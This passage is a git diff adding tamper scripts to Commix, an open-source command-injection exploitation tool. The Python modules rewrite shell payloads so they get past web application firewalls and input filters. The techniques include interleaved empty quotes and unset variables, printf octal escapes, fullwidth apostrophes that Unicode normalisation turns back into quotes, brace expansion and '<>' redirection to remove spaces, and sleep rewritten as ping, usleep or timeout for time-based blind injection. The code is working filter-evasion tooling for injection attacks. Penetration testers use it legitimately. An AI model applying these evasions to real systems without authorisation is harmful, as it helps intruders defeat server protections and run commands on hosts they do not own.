+ settings.TAMPER_SCRIPTS[__tamper__] = True + +# Put an empty '$*' between the characters, which the shell expands to nothing. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' does not drop the characters this interleaves. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + return checks.interleave_char_tamper(payload, obf_char) + +# eof diff --git a/src/tamper/quoting/posix/nested.py b/src/tamper/quoting/posix/nested.py new file mode 100644 index 0000000000..95725b9b01 --- /dev/null +++ b/src/tamper/quoting/posix/nested.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.parse import cmdline as menu +from src.utils import settings +from src.core.controller import checks + +""" +About: Adds double quotes (") around a given payload. +Notes: This tamper script works against target(s) with a POSIX shell. +""" + +__tamper__ = "nested" +__priority__ = settings.PRIORITY.LOW + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Wrap one command substitution around another, so the payload reads as nested work. +def nested(): + if menu.options.prefix: + menu.options.prefix = "\"" + menu.options.prefix + else: + menu.options.prefix = "\"" + if menu.options.suffix: + menu.options.suffix = menu.options.suffix + "\"" + else: + menu.options.suffix = "\"" + +""" +Applied on the first payload rather than at import. + +Importing a tamper script is what lets its dependencies be checked, and those run afterwards - so a +script rewriting the boundaries as it loaded had already done it by the time it was refused, and +left every payload for the rest of the run carrying a quote it never asked for. +""" +_applied = False + +# Nest the payload's command substitutions inside one another. +def tamper(payload): + global _applied + if not _applied and settings.TARGET_OS != settings.OS.WINDOWS: + _applied = True + nested() + return payload + +# eof diff --git a/src/tamper/quoting/posix/printfoctal.py b/src/tamper/quoting/posix/printfoctal.py new file mode 100644 index 0000000000..bb57ac8892 --- /dev/null +++ b/src/tamper/quoting/posix/printfoctal.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Rewrites the command names and paths in a given payload as a command substitution of printf's + own octal escapes ($(printf '\143\141\164')). +Notes: Unlike 'ansiquote'/'ansiquoteoctal', this needs nothing a strict POSIX shell (e.g. 'dash', + the '/bin/sh' of most Debian/Ubuntu targets) does not already have - no ANSI-C quoting, just + "$()" and a "printf" whose octal escapes POSIX itself requires. +References: [1] https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md +""" + +__tamper__ = "printfoctal" +__priority__ = settings.PRIORITY.HIGH + +def dependencies(): + """ + Why this script cannot be applied to the target at hand, or nothing where it can. + + The escapes are the whole point of the script, and an evaluated string is read by the language + doing the evaluating before ever reaching a shell - which spends '\\143' itself, leaving the + shell (which never runs) a payload that says something else. + """ + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +# A word worth hiding: a command name or a path, which is what a signature is written against. +PRINTF_OCTAL_WORD = r"(?<![\w$'\"\\{#=/.-])(/?[A-Za-z][\w.-]*(?:/[\w.-]+)*|/[\w.-]+(?:/[\w.-]+)*)(?![\w=.'\"-])" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def _printf_octal(match): + """ + One word written as the "$(printf ...)" the shell runs and reads back as that word, or left as + it was. + + A word the shell has to read exactly as it was written is left alone, for the reason + 'tamper_word_kept' gives. Nothing else here needs to survive being spelled differently, because + the substitution runs and is replaced before anything reads the word. + """ + word = match.group(0) + if checks.tamper_word_kept(word, match.string[:match.start()]): + return word + return "$(printf '" + "".join("\\%03o" % ord(char) for char in word) + "')" + +# Every command name and path in one span of shell code, written as a printf octal substitution. +def _printf_octal_words(text, nested): + return re.sub(PRINTF_OCTAL_WORD, _printf_octal, text) + +# Hand the words over as a printf substitution, for the target's shell to run and read back as the words they were. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' has no command substitution of this kind. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + return checks.tamper_shell_spans(payload, _printf_octal_words) + +# eof diff --git a/src/tamper/quoting/posix/singlequotes.py b/src/tamper/quoting/posix/singlequotes.py new file mode 100644 index 0000000000..3de8df1c0a --- /dev/null +++ b/src/tamper/quoting/posix/singlequotes.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Adds single quotes (') between the characters in a given payload. +Notes: This tamper script works against target(s) with a POSIX shell. +""" + +__tamper__ = "singlequotes" +__priority__ = settings.PRIORITY.BELOW_NORMAL + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +obf_char = "''" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Put empty single quotes between the characters, which the shell drops. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' does not drop the quotes this interleaves. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + return checks.interleave_char_tamper(payload, obf_char) + +# eof diff --git a/src/tamper/quoting/posix/unicodequote.py b/src/tamper/quoting/posix/unicodequote.py new file mode 100644 index 0000000000..300eedf619 --- /dev/null +++ b/src/tamper/quoting/posix/unicodequote.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces single quotes (') with the fullwidth apostrophe (U+FF07, ''') in a given payload. +Notes: This tamper script works against target(s) that strip or escape a literal quote before + folding the value through a compatibility normalization (e.g. Python's + 'unicodedata.normalize("NFKC", ...)'). The fullwidth character is not the quote such a + filter matches, so it passes through untouched, and the normalization applied afterwards + folds it back into a real "'" - closing a quote the filter believed it had already removed. +References: [1] https://www.yeswehack.com/dojo/dojo-challenge-solution-46 +""" + +__tamper__ = "unicodequote" +__priority__ = settings.PRIORITY.LOWER + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Fold every single quote into the fullwidth apostrophe a later normalization step reads as one. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' does not quote with the single quote this replaces. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + return payload.replace("'", "'") + +# eof diff --git a/src/tamper/quoting/posix/uninitializedvariable.py b/src/tamper/quoting/posix/uninitializedvariable.py new file mode 100644 index 0000000000..1abb0d9008 --- /dev/null +++ b/src/tamper/quoting/posix/uninitializedvariable.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import random +import string +from src.utils import settings +from src.core.controller import checks + +""" +About: Adds (randomly generated) uninitialized bash variables between the characters of each command + in a given payload. +Notes: This tamper script works against target(s) with a POSIX shell. +Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ +""" + +__tamper__ = "uninitializedvariable" +__priority__ = settings.PRIORITY.LOW + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +# The variable is named once for the whole run, so every payload carries the same one. +obf_char = "${" + ''.join(random.choice(string.ascii_uppercase) for _ in range(2)) + "}" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + + +# Put an unset variable between the characters, which the shell expands to nothing. +def tamper(payload): + # The variables themselves, over the payload outside its quoted words. + def add_uninitialized_variable(payload): + # One variable inserted after a single character. + def obfuscate(text): + # Split into parts: already obfuscated (${XX}) and plain + parts = re.split(r'(\$\{[A-Z]+\})', text) + for i in range(len(parts)): + if not re.match(r'\$\{[A-Z]+\}', parts[i]): + parts[i] = re.sub( + settings.TAMPER_MODIFICATION_LETTERS, + lambda x: obf_char + x.group(0), + parts[i] + ) + return ''.join(parts) + + payload = checks.tamper_outside_single_quotes(payload, obfuscate) + return checks.tamper_restore_ignored_words(payload, obf_char) + + # Only apply on non-Windows targets + if settings.TARGET_OS != settings.OS.WINDOWS: + return add_uninitialized_variable(payload) + else: + return payload + +# eof diff --git a/src/tamper/timing/__init__.py b/src/tamper/timing/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/timing/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/timing/generic/__init__.py b/src/tamper/timing/generic/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/timing/generic/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/timing/generic/sleep2timeout.py b/src/tamper/timing/generic/sleep2timeout.py new file mode 100644 index 0000000000..6d51ae3d8f --- /dev/null +++ b/src/tamper/timing/generic/sleep2timeout.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces 'sleep' with 'timeout' command in a given payload. + * Regarding Unix-like target(s), it replaces the 'sleep XX' command with 'timeout XX ping localhost'. + * Regarding windows target(s), it replaces the 'powershell.exe -InputFormat none Start-Sleep -s XX' command with 'timeout XX'. +Notes: This tamper script works against all targets. +""" + +__tamper__ = "sleep2timeout" +__priority__ = settings.PRIORITY.NORMAL + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_time_related_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Wait with 'timeout' or 'ping' where the payload waited with 'sleep'. +def tamper(payload): + # The rewrite itself, keeping the delay the payload asked for. + def sleep_to_timeout_ping(payload): + whitespace = checks.current_whitespace() + if settings.TARGET_OS != settings.OS.WINDOWS: + payload = re.sub(r"sleep" + re.escape(whitespace) + r"(\$\(\(\d+\*\([^()]*\)\)\))", + lambda x: "timeout" + whitespace + x.group(1) + ".01" + whitespace + "ping" + whitespace + "localhost", payload) + for match in re.finditer(r"sleep" + re.escape(whitespace) + r"([1-9]\d+|[0-9])", payload): + payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE, whitespace)) + payload = payload.replace("timeout" + whitespace + "0" + whitespace + "ping" + whitespace + "localhost", "timeout" + whitespace + "0") + else: + payload = payload.replace("powershell.exe" + whitespace + "-InputFormat" + whitespace + "none" + whitespace + "Start-Sleep" + whitespace + "-s", "timeout") + return payload + if not settings.TIME_RELATED_ATTACK: + return payload + return sleep_to_timeout_ping(payload) + +# eof diff --git a/src/tamper/timing/posix/__init__.py b/src/tamper/timing/posix/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/timing/posix/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/timing/posix/sleep2ping.py b/src/tamper/timing/posix/sleep2ping.py new file mode 100644 index 0000000000..62739912c2 --- /dev/null +++ b/src/tamper/timing/posix/sleep2ping.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces 'sleep' with the wait between 'ping' packets in a given payload. +Notes: This tamper script works against target(s) with a POSIX shell. +Reference: https://man7.org/linux/man-pages/man8/ping.8.html +""" + +__tamper__ = "sleep2ping" +__priority__ = settings.PRIORITY.NORMAL + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_time_related_only(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +# The loopback, so that the wait needs no network of the target's own and asks no name of anyone. +PING_HOST = "127.0.0.1" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def _arithmetic_end(text): + """The offset just past the '))' closing an arithmetic expansion, counted rather than searched for.""" + depth, index = 0, 1 + while index < len(text): + if text[index] == "(": + depth += 1 + elif text[index] == ")": + depth -= 1 + if depth == 0: + return index + 1 + index += 1 + return -1 + +def _ping_wait(count, whitespace): + """ + The wait itself, spelled as packets rather than seconds. + + 'ping' sends the first packet at once and waits a second before each one after it, so the count + that waits as long as 'sleep' does is one higher than its seconds. Its output goes nowhere, the + way the command it stands in for has none to give. + """ + return ("ping" + whitespace + "-c" + whitespace + count + whitespace + + PING_HOST + settings.FILE_WRITE_OPERATOR.strip() + "/dev/null") + +def _sleep_to_ping(payload): + """Every 'sleep' in the payload restated as the wait between ping packets.""" + whitespace = checks.current_whitespace() + token = "sleep" + whitespace + out, index = [], 0 + while True: + at = payload.find(token, index) + if at == -1: + out.append(payload[index:]) + return "".join(out) + out.append(payload[index:at]) + rest = payload[at + len(token):] + consumed = 0 + if rest.startswith("$(("): + end = _arithmetic_end(rest) + # A count is never allowed to reach zero, which asks 'ping' for no packets at all rather + # than for no wait - so the one it is short of a second is added inside the expansion. + if end != -1: + count, consumed = "$((1+" + rest[3:end - 2] + "))", end + else: + seconds = re.match(r"\d+", rest) + if seconds: + count, consumed = str(int(seconds.group(0)) + 1), seconds.end() + if not consumed: + out.append(token) + index = at + len(token) + continue + out.append(_ping_wait(count, whitespace)) + index = at + len(token) + consumed + +# Wait out the packets where the payload waited out the seconds. +def tamper(payload): + if settings.TARGET_OS != settings.OS.WINDOWS and settings.TIME_RELATED_ATTACK: + return _sleep_to_ping(payload) + return payload + +# eof diff --git a/src/tamper/timing/posix/sleep2usleep.py b/src/tamper/timing/posix/sleep2usleep.py new file mode 100644 index 0000000000..e1b7f4aab2 --- /dev/null +++ b/src/tamper/timing/posix/sleep2usleep.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces 'sleep' with 'usleep' command in a given payload. +Notes: This tamper script works against target(s) with a POSIX shell. +Reference: http://man7.org/linux/man-pages/man3/usleep.3.html +""" + +__tamper__ = "sleep2usleep" +__priority__ = settings.PRIORITY.NORMAL + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_time_related_only(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Wait with 'usleep' where the payload waited with 'sleep'. +def tamper(payload): + # The rewrite itself, the delay restated in microseconds. + def sleep_to_usleep(payload): + whitespace = checks.current_whitespace() + # Arithmetic-gated delay ("sleep $((5*(cond)))") - scale its leading factor to microseconds. + payload = re.sub(r"sleep" + re.escape(whitespace) + r"\$\(\((\d+)\*", + lambda x: "usleep" + whitespace + "$((" + x.group(1) + "000000*", payload) + # A plain delay, taken from the match itself rather than split back out of it. + for match in re.finditer(r"sleep" + re.escape(whitespace) + r"([1-9]\d+|[0-9])", payload): + seconds = match.group(1) + # Seconds become microseconds, except a zero, which has nothing to scale. + delay = seconds + "0" * 6 if seconds != "0" else seconds + payload = payload.replace(match.group(0), "usleep" + whitespace + delay) + return payload + if settings.TARGET_OS != settings.OS.WINDOWS and settings.TIME_RELATED_ATTACK: + return sleep_to_usleep(payload) + return payload + +# eof diff --git a/src/tamper/whitespace/__init__.py b/src/tamper/whitespace/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/whitespace/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/whitespace/generic/__init__.py b/src/tamper/whitespace/generic/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/whitespace/generic/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/whitespace/generic/multiplespaces.py b/src/tamper/whitespace/generic/multiplespaces.py new file mode 100644 index 0000000000..4ca1cec232 --- /dev/null +++ b/src/tamper/whitespace/generic/multiplespaces.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import random +from src.utils import settings + +""" +About: Adds multiple spaces around operating system commands in a given payload. +Notes: Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. +""" + +__tamper__ = "multiplespaces" +__priority__ = settings.PRIORITY.LOWER + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# What each whitespace was before this script first multiplied it. Kept because the list is shared +# and this runs once per payload: multiplying what was already multiplied compounds, and by the +# eighth payload the substitute is millions of characters long rather than a handful. +_pristine = {} + +# Pad the payload's own spaces out into runs of them. +""" +What this script settles before any payload is built, rather than when it first rewrites one. + +Called once while the scripts are being settled. 'tamper()' calls it too, so a choice that has to +follow a target settled later - an OS, or a technique that has since been refused - still follows it. +""" +def declare(): + for index, whitespace in enumerate(settings.WHITESPACES): + base = _pristine.setdefault(index, whitespace) + # A list rebuilt for another target, or one another script has changed, replaces what was kept. + if not whitespace.startswith(base): + base = _pristine[index] = whitespace + settings.WHITESPACES[index] = base * random.randrange(3, 8) + + +def tamper(payload): + declare() + return payload + +# eof diff --git a/src/tamper/whitespace/generic/space2htab.py b/src/tamper/whitespace/generic/space2htab.py new file mode 100644 index 0000000000..6bab5513c3 --- /dev/null +++ b/src/tamper/whitespace/generic/space2htab.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings + +""" +About: Replaces space character (' ') with horizontal tab (%09) in a given payload. +Notes: This tamper script works against all targets. +""" + +__tamper__ = "space2htab" +__priority__ = settings.PRIORITY.LOWER +space2htab = "\t" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Separate the payload's words with a horizontal tab instead of a space. +""" +What this script settles before any payload is built, rather than when it first rewrites one. + +Called once while the scripts are being settled. 'tamper()' calls it too, so a choice that has to +follow a target settled later - an OS, or a technique that has since been refused - still follows it. +""" +def declare(): + if len(settings.WHITESPACES) != 0: + if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: + settings.WHITESPACES[0] = space2htab + elif space2htab not in settings.WHITESPACES: + settings.WHITESPACES.append(space2htab) + + +def tamper(payload): + declare() + return payload + +# eof diff --git a/src/tamper/whitespace/generic/space2plus.py b/src/tamper/whitespace/generic/space2plus.py new file mode 100644 index 0000000000..7bb7fb6a64 --- /dev/null +++ b/src/tamper/whitespace/generic/space2plus.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib + +""" +About: Replaces space character (' ') with plus (+) in a given payload. +Notes: This tamper script works against all targets. +""" + +__tamper__ = "space2plus" +__priority__ = settings.PRIORITY.LOWER +space2plus = _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Separate the payload's words with a plus sign instead of a space. +""" +What this script settles before any payload is built, rather than when it first rewrites one. + +Called once while the scripts are being settled. 'tamper()' calls it too, so a choice that has to +follow a target settled later - an OS, or a technique that has since been refused - still follows it. +""" +def declare(): + if len(settings.WHITESPACES) != 0 and not settings.IS_JSON: + if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: + settings.WHITESPACES[0] = space2plus + elif space2plus not in settings.WHITESPACES: + settings.WHITESPACES.append(space2plus) + + # Said only where it is true: an empty list is another reason to do nothing, and not this one. + elif settings.IS_JSON: + warn_msg = "The tamper script '" + __tamper__ + "' is ineffective for JSON payloads. " + warn_msg += "Skipping tamper script." + settings.print_once(warn_msg) + + + +def tamper(payload): + declare() + return payload + +# eof diff --git a/src/tamper/whitespace/posix/__init__.py b/src/tamper/whitespace/posix/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/whitespace/posix/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/whitespace/posix/cmd2redir.py b/src/tamper/whitespace/posix/cmd2redir.py new file mode 100644 index 0000000000..9297c83a00 --- /dev/null +++ b/src/tamper/whitespace/posix/cmd2redir.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Rewrites a user-supplied '<command> <path>' as '<command><>path>', for a target that lets no + whitespace at all through but leaves the redirection operators unfiltered. +Notes: This tamper script works against target(s) with a POSIX shell. '<>' opens the path for both + reading and writing and attaches it as the command's own stdin, so a command given no + positional argument at all reads it from there instead - removing the one space between the + two without needing any whitespace substitute in its place. Only a command that already reads + stdin when given no filename is any good for this, and the path must be writable by the + process running it, not just readable, since '<>' opens it for both. +References: [1] https://dojo-yeswehack.com/challenge-of-the-month/Dojo-30 +""" + +__tamper__ = "cmd2redir" +__priority__ = settings.PRIORITY.HIGHER + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) + +# Commands that read stdin in place of a missing filename argument, across coreutils and BusyBox. +STDIN_FALLBACK_COMMANDS = ( + "cat", "tac", "rev", "sort", "uniq", "wc", "nl", + "md5sum", "sha1sum", "sha256sum", "sha512sum", "base64", "od", "cksum", "sum" +) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# The command's one separating space folded into the redirection operator its argument arrives on. +def rewrite_command(command): + parts = command.split(settings.SINGLE_WHITESPACE) + if len(parts) != 2 or parts[0] not in STDIN_FALLBACK_COMMANDS: + warn_msg = "The '" + __tamper__ + ".py' tamper script needs a single stdin-reading command " + warn_msg += "(e.g. 'cat') and its one argument in the '" + command + "' command. Skipping tamper script." + settings.print_once(warn_msg) + return command + return parts[0] + "<>" + parts[1] + +# Hand the command over with its space folded away, alongside whatever else rewrites it. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' reads '<>' as a redirection of its own, not as the command's stdin. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + # The exploitation phase reaches here before there is a command of the user's own to rewrite. + if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: + return checks.tamper_rewrite_user_command(payload, __tamper__) + return payload + +# eof diff --git a/src/tamper/whitespace/posix/space2brace.py b/src/tamper/whitespace/posix/space2brace.py new file mode 100644 index 0000000000..18f331a99d --- /dev/null +++ b/src/tamper/whitespace/posix/space2brace.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces the space character (' ') with a brace expansion ({a,b}) in a given payload. +Notes: This tamper script works against target(s) whose shell expands '{a,b}' where a command is + expected (e.g. 'bash', 'ksh'), which leaves the payload's commands with no whitespace. +References: [1] https://www.themiddleblue.com/2018/06/12/bypass-waf-using-brace-expansion/ +""" + +__tamper__ = "space2brace" +__priority__ = settings.PRIORITY.LOWER + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) + +# What a word may be made of and still come back out of the expansion as the word that went in. +BRACE_SAFE_WORD = r"^[A-Za-z0-9_.:=@%+~^/*?\[\]$(){}!,\x00-]+$" + +""" +A run of words the shell would read as one command, and where such a run may begin and end. + +Only a command is rewritten, never an argument list of the payload's own making: braces expand +wherever they are written, but only in command position does the result get read back as a command +and its arguments. A redirection ends the run rather than joining it - '> /tmp/x' is the shell's +own syntax and would come back out of the expansion as two arguments to the command. The space in +front of one goes all the same, since a 